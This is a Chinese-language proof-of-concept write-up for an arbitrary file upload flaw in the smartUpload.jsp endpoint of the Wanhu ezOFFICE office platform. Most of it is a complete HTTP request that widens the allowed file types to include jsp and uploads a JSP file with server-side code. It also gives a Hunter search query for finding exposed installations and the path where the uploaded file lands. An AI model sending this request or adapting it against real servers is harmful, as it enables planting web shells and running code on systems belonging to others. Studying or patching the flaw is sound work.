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万户协同办公平台 smartUpload存在任意文件上传漏洞

一、漏洞简介

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台 smartUpload存在任意文件上传漏洞

<font style="color:rgb(62, 62, 62);">二、影响版本</font>

  • <font style="color:rgb(62, 62, 62);">万户ezoffice</font>

<font style="color:rgb(62, 62, 62);">三、资产测绘</font>

  • <font style="color:rgb(62, 62, 62);">hunter</font><font style="color:rgb(62, 62, 62);">app.name="万户 Ezoffice OA"</font>
  • <font style="color:rgb(62, 62, 62);">登录页面</font>

1694241158110-8d4eef16-79f1-46eb-899b-344bd2a7a19f.png

<font style="color:rgb(62, 62, 62);">四、漏洞复现</font>

POST /defaultroot/extension/smartUpload.jsp?path=information&mode=add&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 195
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="photo"; filename="hello.jsp"
Content-Type: image/jpeg

<% out.println("435352Els1K9wZvOlSsdsdmrg"); %>
--00content0boundary00--

1708934334550-be657035-a76c-4e17-9b02-31c0939084cf.png

根据回显拼接上传文件地址

/defaultroot/upload/information/2024022615565599901279323.jsp

1708934372079-fc2513da-cafd-47cd-b885-96a51784f178.png

原文: https://www.yuque.com/xiaokp7/ocvun2/bqxc0lptfqu9kdwz